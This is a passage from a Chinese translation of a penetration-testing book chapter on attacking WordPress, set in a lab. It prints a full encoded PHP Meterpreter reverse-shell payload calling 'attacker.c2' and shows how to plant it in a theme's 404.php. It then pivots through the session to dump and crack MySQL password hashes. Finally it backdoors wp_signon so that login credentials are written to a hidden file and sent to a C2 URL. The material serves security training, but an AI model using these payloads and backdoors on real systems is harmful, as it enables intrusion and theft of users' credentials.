$len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();**

msf payload(php/meterpreter/reverse_tcp) >

generate 命令的结果是一个很长的、被压缩的 PHP 代码片段,我们可以通过使用 -E 选项将其编码为 Base64 进一步混淆:

msf payload(php/meterpreter/reverse_tcp) > generate -t raw -E
**eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJ2F0dGFja2VyLmMyJzsgJHBvcnQgPSA0NDQ0OyBpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoInRjcDovL3skaXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgeyBkaWUoKTsgfSAkc190eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0gaWYgKCEkcykgeyBkaWUoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYgKCEkbGVuKSB7IGRpZSgpOyB9ICRhID0gdW5wYWNrKCJO.bGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IHdoaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9ICRzX3R5cGU7IGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkgeyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygpOyB9IGVsc2UgeyBldmFsKCRiKTsgfSBkaWUoKTs));**

**msf payload(php/meterpreter/reverse_tcp) >**

这实际上取决于注入点的允许范围。我们可能需要对暂存的 PHP 代码进行 Base64 编码,以绕过一些基础的入侵检测系统或杀毒软件。如果有人查看源代码,编码后的有效载荷在格式正确的代码中确实看起来更可疑,因此我们需要仔细考虑我们想要多隐蔽。

为了确保我们的代码更好地与 404.php 页面中的其他内容融合,我们可以使用源代码美化器,如CyberChef。我们将未进行 Base64 编码的原始 PHP 代码输入并通过 CyberChef 工具处理。

Recipe 面板中,我们可以添加 Generic Code Beautify 操作。我们的原始 PHP 代码将放入 Input 部分。要美化代码,我们只需要点击屏幕底部的 Bake!,如图所示:

持久化

图 12.8:CyberChef 代码美化器

CyberChef 是一款非常棒的工具,具有众多功能。代码美化只是它能做的事情的冰山一角。CyberChef 由 GCHQ 开发,并可免费在线使用或下载,网址为:gchq.github.io/CyberChef

此时,我们可以获取美化后的负载并直接将其粘贴到 WordPress 主题编辑器中。我们需要将代码添加到get_header()函数调用之前。这是因为404.php本应在另一个页面中通过include()加载,而该页面加载了此函数的定义。当我们直接调用404页面时,get_header()将未定义,PHP 将抛出致命错误。我们的 Shell 代码将无法执行。我们在修改目标内容时必须注意这些问题。理想情况下,如果时间允许,我们会设置一个类似的测试环境,检查应用程序如何处理我们的修改。

Meterpreter 负载将非常适合在第 12 行的get_header()函数上方,如下所示:

持久化

图 12.9:404.php 页面编辑器负载注入位置

在这个位置添加代码应该可以防止任何 PHP 错误干扰我们的恶意代码。

持久化

图 12.10:我们的恶意负载与其他的 404.php 文件融为一体

在执行我们刚刚注入的后门之前,我们必须确保在我们的攻击机器上运行处理程序,以便接收来自受害者的连接。

为此,我们在 Metasploit 控制台中加载exploit/multi/handler模块,如下所示:

**msf > use exploit/multi/handler**

我们需要使用set PAYLOAD命令指定处理程序应该为哪种负载类型进行配置:

**msf exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp**
**msf exploit(multi/handler) >**

我们必须确保负载选项与我们之前生成 PHP 代码时选择的选项匹配。这两个选项也可以通过set命令配置:

**msf exploit(multi/handler) > options**

**Payload options (php/meterpreter/reverse_tcp):**

 **Name   Current Setting  Required  Description**
 **----   ---------------  --------  -----------**
 **LHOST  attacker.c2      yes       The listen address**
 **LPORT  4444             yes       The listen port**

**Exploit target:**

 **Id  Name**
 **--  ----**
 **0   Wildcard Target**

我们还可以配置处理程序以接受多个连接并在后台运行。新会话将自动创建;我们不需要每次都运行处理程序。

ExitOnSession选项可以设置为false,如下所示:

**msf exploit(multi/handler) > set ExitOnSession false**
**ExitOnSession => false**

我们现在可以运行带有-j选项的处理程序,这将把它发送到后台,准备接受来自受害者的连接:

**msf exploit(multi/handler) > run -j**
**[*] Exploit running as background job 2.**

**[*] Started reverse TCP handler on attacker.c2:4444**
**msf exploit(multi/handler) >**

被植入后门的404.php文件位于目标应用程序的wp-content/themes/twentyseventeen/文件夹中,可以直接通过curl调用。这将执行我们的后门并生成一个新的 Meterpreter 会话:

**root@kali:~# curl http://cookingwithfire.local/wp-content/themes/twentyseventeen/404.php**
**[...]**

curl命令似乎会挂起,但几秒钟后,我们获得了 Shell 访问权限。我们可以看到受害者建立了一个 Meterpreter 会话,我们可以使用sessions -i命令与之交互,如下所示:

[*] Sending stage (37543 bytes) to 172.17.0.3
**[*] Meterpreter session 8 opened** (10.0.5.42:4444 -> 172.17.0.3:36194)

msf exploit(multi/handler) > **sessions -i 8**
[*] Starting interaction with 8...

meterpreter >

再次,我们可以通过 Meterpreter 会话直接向目标发出命令:

meterpreter > **sysinfo**
Computer    : 0f2dfe914f09
OS          : Linux 0f2dfe914f09 4.14.0 #1 SMP Debian 4.14.17 x86_64
Meterpreter : php/linux

meterpreter > **getuid**
Server username: www-data (33)
meterpreter >

通过 Shell 访问,我们可以尝试提升权限、横向移动,甚至提取更多的凭证。

凭证外泄

设想另一种情况,我们已经利用网站的一个漏洞,获得了对服务器的 shell 访问权限。也许 WordPress 网站本身已经打了补丁,且用户密码很复杂,但如果 WordPress 安装在共享系统上,攻击者通过与网站无关的组件获得 shell 访问权限并不罕见。也许我们设法上传了一个 Web Shell,甚至通过命令注入漏洞迫使 Web 服务器反向连接回我们的机器。在之前的场景中,我们猜到了 mary 的密码,但如果我们想要更多呢?如果博客管理员 msmith 有权限访问其他系统呢?

密码重用是一个可能不会很快消失的问题,获取站点管理员的密码具有重要价值。相同的密码可能适用于 VPN 或 OWA,甚至是应用服务器上的 root 用户。

大多数现代 Web 服务器软件,如 Apache2、NGINX 和 IIS,都以低权限用户身份运行应用程序,因此 PHP Shell 对底层服务器的访问权限有限。虽然 Web 用户无法对服务器本身做太多操作,但它可以与站点源代码交互,包括 CMS 实例的源代码。我们可能会寻找使用本地漏洞提升权限的方法,但如果不成功或时间紧迫,可能更合理的做法是对站点代码后门并收集凭证。

在前面的场景中,我们通过用户 mary 获得了 shell 访问权限。进入后,我们可以检查 wp-config.php 文件,寻找可能的注入位置。我们可以看到 WordPress 正常运行所需的数据库凭证。这可能是我们的第一个目标,因为所有 WordPress 凭证都存储在那里,尽管是哈希化的。如果我们能提取到这些哈希密码,可能可以离线破解它们。配置文件对于 CMS 来说是常见的,如果我们有读取应用服务器的权限,这些文件应该是我们首批收集的目标:

meterpreter > cat /var/www/html/wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
[...]
 * This file contains the following configurations:
 *****
 *** * MySQL settings**
 *** * Secret keys**
 *** * Database table prefix**
 *** * ABSPATH**
 *****
 *** @link https://codex.WordPress.org/Editing_wp-config.php**
 *****
 *** @package WordPress**
 ***/**

**// ** MySQL settings - You can get this info from your web host ** //**
**/** The name of the database for WordPress */**
**define('DB_NAME', 'WordPress');**

**/** MySQL database username */**
**define('DB_USER', '**
**WordPress');**

**/** MySQL database password */**
**define('DB_PASSWORD', 'ZXQgdHUgYnJ1dGU/');**

**/** MySQL hostname */**
**define('DB_HOST', '127.0.0.1:3306');**

[...]

我们可以获取这些明文凭证,并使用 MySQL 客户端连接到数据库。接下来,我们可以转储用户表和其中的任何哈希值。在你进行渗透测试时,你可能会遇到更多强化过的 MySQL 实例,这些实例通常不允许来自任何远程主机的登录。MySQL 实例也可能被防火墙保护,或只监听 127.0.0.1,我们可能无法从外部进行连接。

为了绕过这些限制,我们必须通过先前建立的反向 Shell 会话来转发连接:

**msf payload(php/meterpreter/reverse_tcp) > sessions**

**Active sessions**
**===============**

 **Id  Name  Type              Information       Connection**
 **--  ----  ----              -----------       ----------**
 **8         meterpreter php/                    www-data @ linux                               0f2dfe914f09  10.0.5.42:4444 ->** 
**172.17.0.3:36194 (172.17.0.3)**

首先,我们需要在 Metasploit 中添加一个路由,通过一个活跃的 Meterpreter 会话转发所有连接。在这种情况下,我们想连接到在服务器回环地址 127.0.0.1 上监听的 MySQL 实例。

Metasploit 的route add命令要求我们指定一个网络范围和 Meterpreter 会话 ID。在我们的例子中,我们只会针对127.0.0.1地址,因此需要使用/32。我们还希望通过会话8发送所有数据包:

**msf payload(php/meterpreter/reverse_tcp) > route add 127.0.0.1/32 8**
**[*] Route added**
**msf payload(php/meterpreter/reverse_tcp) > route print**

**IPv4 Active Routing Table**
**=========================**

 **Subnet             Netmask            Gateway**
 **------             -------            -------**
 **127.0.0.1           255.255.255.255    Session 8**

要利用这个路径,我们需要在 Metasploit 中启动一个代理服务器,然后可以与 ProxyChains 一起使用,将数据包通过我们的 Meterpreter 会话发送。

auxiliary/server/socks4a模块将允许我们在攻击机器上启动一个 SOCKS4 服务器,并且使用先前添加的路由,任何发送到127.0.0.1的流量将通过我们的会话转发。

让我们加载模块并设置SRVHOSTSRVPORT,如图所示:

**msf payload(php/meterpreter/reverse_tcp) > use auxiliary/server/socks4a**
**msf auxiliary(server/socks4a) > options**

**Module options (auxiliary/server/socks4a):**

 **Name     Current Setting  Required  Description**
 **----     ---------------  --------  -----------**
 **SRVHOST  0.0.0.0          yes       The address to listen on**
 **SRVPORT  1080             yes       The port to listen on.**

**msf auxiliary(server/socks4a) > run**
**[*] Auxiliary module running as background job 1.**
**[*] Starting the socks4a proxy server**

我们应该能够通过执行 Metasploit 的jobs命令看到我们在后台运行的 SOCKS 服务器:

**msf auxiliary(server/socks4a) > jobs**

**Jobs**
**====**

 **Id  Name                 Payload                Payload opts**
 **--  ----                 -------                ------------**
 **0   Exploit: multi/      php/meterpreter/       tcp://attackhandler              reverse_tcp            er.c2:4444**
 **1    Auxiliary: server/socks4a** 

接下来,ProxyChains 配置文件/etc/proxychains.conf应该修改为指向我们新创建的 SOCKS 服务器,如下所示:

root@kali:~# tail /etc/proxychains.conf
[...]
#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
**socks4     127.0.0.1 1080**

最后,我们在 Kali 终端中使用proxychains二进制文件,通过wp-config.php中的凭据,将 MySQL 客户端连接包装到目标 MySQL 实例,如下所示:

root@kali:~# proxychains mysql -h127.0.0.1 -uWordPress -p
ProxyChains-3.1 (http://proxychains.sf.net)
Enter password: **ZXQgdHUgYnJ1dGU/**
|S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:3306-<><>-OK
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 28
Server version: 5.6.37 MySQL Community Server (GPL)

**Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.**

这个 WordPress 数据库用户可能对服务器的访问权限有限,但对我们的目的来说应该足够了。我们可以看到 WordPress 数据库,并且能够枚举其表和数据:

**MySQL [(none)]> show databases;**
**+--------------------+**
**| Database           |**
**+--------------------+**
**| information_schema |**
**| WordPress          |**
**| test               |**
**+--------------------+**
**3 rows in set (0.00 sec)**

**MySQL [none]> show tables from WordPress;**
**+-----------------------------+**
**| Tables_in_WordPress |**
**+-----------------------------+**
**| wp_commentmeta              |**
**| wp_comments                 |**
**| wp_links                    |**
**| wp_options                  |**
**| wp_postmeta                 |**
**| wp_posts                    |**
**| wp_term_relationships       |**
**| wp_term_taxonomy            |**
**| wp_termmeta                 |**
**| wp_terms                    |**
**| wp_usermeta                 |**
**| wp_users                    |**
**+-----------------------------+**
**12 rows in set (0.00 sec)**

我们需要使用一个简单的 MySQL 查询,抓取存储在wp_users表中的用户名和哈希值:

**MySQL [none]> select id, user_login, user_pass, user_email from WordPress.wp_users where id=1;**
**+----+------------+------------------------+------------------+**
**| id | user_login | user_pass              | user_email       |**
**+----+------------+------------------------+------------------+**
**|  1 | msmith     | $P$BX5YqWaua3jKQ1OBFgui| msmith@cookingwit|**
**|    |            | UhBxsiGutK/            | hfire.local      |**
**+----+------------+------------------------+------------------+**
**1 row in set (0.01 sec)**

拿到msmith的密码哈希后,我们可以在 Kali 机器上运行 John the Ripper 尝试破解它。我们可以将哈希保存到本地,并使用john进行破解,如下所示:

root@kali:~# cat hashes
**msmith:$P$BX5YqWaua3jKQ1OBFquiUhBxsiGutK/**
root@kali:~# **john hashes --**
**wordlist=~/tools/SecLists/Passwords/darkc0de.txt**
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 0.72% (ETA: 10:24:24) 0g/s 4897p/s 4897c/s 4897C/s 11770..11/9/69
0g 0:00:00:02 1.10% (ETA: 10:25:08) 0g/s 4896p/s 4896c/s 4896C/s 123din7361247iv3..123ducib19
0g 0:00:00:04 1.79% (ETA: 10:25:49) 0g/s 4906p/s 4906c/s 4906C/s 16 HERRERA..16th
0g 0:00:00:20 6.59% (ETA: 10:27:09) 0g/s 4619p/s 4619c/s 4619C/s 4n0d3..4n0m47h3c4

根据你的密码破解设备和密码复杂度,这可能需要一些时间。在典型的渗透测试中,这可能并不可行,你可能需要考虑其他替代方案。

获取明文凭据的一个更智能的方法是通过在 CMS 登录系统中植入后门,并在目标用户(或多个用户)登录应用程序时捕获明文凭据。这种攻击要求我们控制的用户能够修改 WordPress 的文件。有些安装可能不允许 Web 服务器用户写入磁盘作为安全措施,但管理员在应用程序生命周期中放宽这一控制也并不罕见。如果我们对目标服务器拥有完整的 root 权限,这个攻击方法也非常有效。正如我之前提到的,捕获明文凭据非常有价值,尤其是当目标是横向移动或敏感数据访问时。

处理身份验证的 WordPress 函数被称为wp_signon(),WordPress Codex 对其进行了详细描述:

凭据泄露

图 12.11:WordPress 函数参考:wp_signon

signon 函数在 wp-includes/user.php 的 WordPress 核心文件中定义。代码中有几行用于验证从其他模块传递给该函数的凭证,例如 wp-login.php

我们希望拦截明文凭证,并将其外泄到我们的 C2 服务器,或将其存储在网站的某个地方以便稍后检索,或两者兼有。当然,这两种外泄方法各有利弊。通过网络传输数据可能会被入侵检测系统或出站代理识别为异常流量,但它确保我们在凭证输入后立即获得它们,当然前提是传输没有被阻断。将数据存储在本地则不会引起任何网络监控的注意,但如果服务器管理员仔细查看应用文件系统,服务器上的额外文件可能会引起怀疑。

wp_signon 函数中,凭证要么通过 $credentials 变量传递,要么对于新的登录,通过 PHP 全局变量 $_POST 传递。我们可以对这个传入值进行 JSON 编码,然后对结果进行 Base64 编码,最后将其写入磁盘或通过网络发送。这种双重编码主要是为了简化网络传输,同时也稍微混淆了我们外泄的数据。

PHP 提供了两个方便的函数,我们可以将它们注入到 wp_signon 函数中,以便快速轻松地外泄 WordPress 凭证。

file_put_contents() 允许我们写入磁盘,写入位置是网页用户有权限访问的任何地方。对于 WordPress,特别是因为它允许上传数据,wp-content/uploads 通常是可被 Web 服务器写入的。其他 CMS 也会有类似的目录访问权限,我们可以利用这些权限。

file_put_contents(**[file to write to]**, **[data to write]**, **FILE_APPEND**);

PHP 的 file_get_contents() 函数允许我们向 C2 服务器发出网页请求,我们可以通过 URL 将凭证传递过去。我们可以在 C2 的日志中查看数据。对于网络外泄,我们应该在函数前添加 @ 字符,这样 PHP 就会抑制任何错误,万一发生网络问题。如果 C2 服务器宕机或无法访问,我们不想引起用户对潜在安全问题的警觉。

@file_get_contents(**[c2 URL]**);

需要注意的是,URL 数据外泄可能会导致站点出现明显的延迟,这可能会提醒用户潜在的安全风险。如果隐蔽性至关重要,最好将数据存储在本地,通过网页检索,并在操作完成后删除。

对于我们的凭证窃取器,我们可以使用以下一行(或两行)代码:

file_put_contents(**'wp-content/uploads/.index.php.swp'**, base64_encode(json_encode(**$_POST**)) . PHP_EOL, FILE_APPEND);
@file_get_contents(**'http://pingback.c2.spider.ml/ping.php?id='** . base64_encode(json_encode(**$_POST**)));

简而言之,在用户登录过程中,我们的后门将会:

  1. 获取存储在 $_POST 全局中的明文凭证

  2. 对凭证进行 JSON 和 Base64 编码,方便传输和混淆

  3. 将凭证存储在 wp-content/uploads/.index.php.swp 文件中

  4. 通过 URL http://pingback.c2.spider.ml/ping.php 将它们发送到我们的 C2。

后门代码将添加在wp_signon函数返回之前。这确保我们仅捕获有效的凭证。如果提供的凭证无效,wp_signon函数会比我们的代码更早返回。

我们必须将代码注入到wp-includes/user.php中的合适位置。凭证通过wp_signon进行检查,并在函数的最后return语句之前被认为是有效的。我们需要在此处放置我们的代码:

<?php
/**
 * Core User API
 *
 * @package WordPress
 * @subpackage Users
 */
[...]

function wp_signon( $credentials = array(), $secure_cookie = '' ) {
[...]
  if ( is_wp_error($user) ) {
    if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) {
      $user = new WP_Error('', '');
    }

    return $user;
  }

  **file_put_contents('wp-content/uploads/.index.php.swp', base64_encode(json_encode($_POST)) . PHP_EOL, FILE_APPEND);**

  **@file_get_contents('http://pingback.c2.spider.ml/ping.php?id=' . base64_encode(json_encode($_POST)));**
  wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie);
  /**
   * Fires after the user has **successfully** logged in.
   *
   * @since 1.5.0
   *
   * @param string  $user_login Username.
   * @param WP_User $user       WP_User object of the logged-in user.
   */
  **do_action( 'wp_login', $user->user_login, $user );**
  **return $user;**
}

一旦用户,或者两个或三个用户成功登录,我们可以在wp-content/uploads/.index.php.swp文件中看到明文凭证:

root@kali:~# curl http://cookingwithfire.local/wp-content/uploads/.index.php.swp
**eyJsb2ciOiJtc21pdGgiLCJwd2QiOiJpWVFOKWUjYTRzKnJMZTdaaFdoZlMmXnYiLCJ3cC1zdWJtaXQiOiJMb2cgSW4iLCJyZWRpcmVjdF90byI6Imh0dHA6XC9cL2Nvb2tpbmd3aXRoZmlyZS5sb2NhbFwvd3AtYWRtaW5cLyIsInRlc3Rjb29raWUiOiIxIn0=**
root@kali:~#

C2 服务器还在连接日志中记录了相同的凭证:

root@spider-c2-1:~/c2# php -S 0.0.0.0:80
PHP 7.0.27-0+deb9u1 Development Server started
Listening on http://0.0.0.0:80
Document root is /root/c2
Press Ctrl-C to quit.
[] 192.30.89.138:53039 [200]: **/ping.php?id=eyJsb2ciOiJtc21pdGgiLCJwd2QiOiJpWVFOKWUjYTRzKnJMZTdaaFdoZlMmXnYiLCJ3cC1zdWJtaXQiOiJMb2cgSW4iLCJyZWRpcmVjdF90byI6Imh0dHA6XC9cL2Nvb2tpbmd3aXRoZmlyZS5sb2NhbFwvd3AtYWRtaW5cLyIsInRlc3Rjb29raWUiOiIxIn0=**

如果我们解码 Base64 数据,可以看到msmith的密码:

**root@kali:~# curl -s http://cookingwithfire.local/wp-content/uploads/.index.php.swp | base64 -d**
**{"log":"msmith","pwd":"iYQN)e#a4s*rLe7ZhWhfS&^v","wp-submit":"Log In","redirect_to":"http:\/\/cookingwithfire.local\/wp-admin\/","testcookie":"1"}**

尝试破解我们从数据库中获取的哈希值对msmith来说可能会失败。幸运的是,我们能够修改 CMS 代码以捕获明文凭证,而不会干扰目标和其用户。

总结

在本章中,我们详细探讨了攻击 CMS,特别是 WordPress。虽然我们对 WordPress 进行了相当密集的攻击,但需要注意的是,类似的问题和漏洞也可以在其竞争对手的软件中找到。Drupal 和 Joomla 通常在 CMS 讨论中提到,它们也不陌生于编写不当的插件或配置错误的实例。

我们能够使用 WPScan 和 Arachni 评估目标 CMS,甚至在获取一些访问权限后,查看特权提升或横向移动的选项。我们还查看了后门代码,以保持我们的访问权限,甚至修改 CMS 核心源代码,将明文凭证导出到我们的 C2 服务器。